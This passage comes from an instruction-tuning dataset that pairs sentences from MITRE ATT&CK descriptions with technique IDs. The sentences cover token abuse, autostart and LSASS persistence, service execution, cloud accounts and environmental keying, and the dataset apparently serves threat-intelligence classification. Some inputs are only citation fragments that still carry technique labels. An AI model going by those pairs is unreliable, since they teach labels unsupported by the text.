T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation:", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials)", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary can then use this token to request data or perform actions the original account could not.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary can then use this token to request data or perform actions the original account could not. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence)", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain.", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication.", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem) ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target LSASS drivers to obtain persistence.", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target LSASS drivers to obtain persistence. ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.", "output": "T1547.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads. ### Response: T1547.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse system services or daemons to execute commands or programs.", "output": "T1569", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse system services or daemons to execute commands or programs. ### Response: T1569."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can execute malicious content by interacting with or creating services either locally or remotely.", "output": "T1569", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can execute malicious content by interacting with or creating services either locally or remotely. ### Response: T1569."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.", "output": "T1569", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution. ### Response: T1569."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads.", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager)", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039). ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation:", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution. ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage these mechanisms to execute malicious content.", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage these mechanisms to execute malicious content. ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done by either executing a new or modified service.", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done by either executing a new or modified service. ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation. ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization.", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare) ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", "output": "T1078", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft) ### Response: T1078."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation:", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110),", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may create long lasting", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may create long lasting ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such credentials may also be used to bypass security controls such as multi-factor authentication.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such credentials may also be used to bypass security controls such as multi-factor authentication. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. ### Response: T1078.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target.", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation:", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye Kevin Mandia Guardrails)", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye Kevin Mandia Guardrails) ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019) ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497).", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match. ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint Router Malvertising)(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint Router Malvertising)(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ebowla: Genetic Malware)", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ebowla: Genetic Malware) ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware)", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) ### Response: T1480.001."}{"instruction": "List the 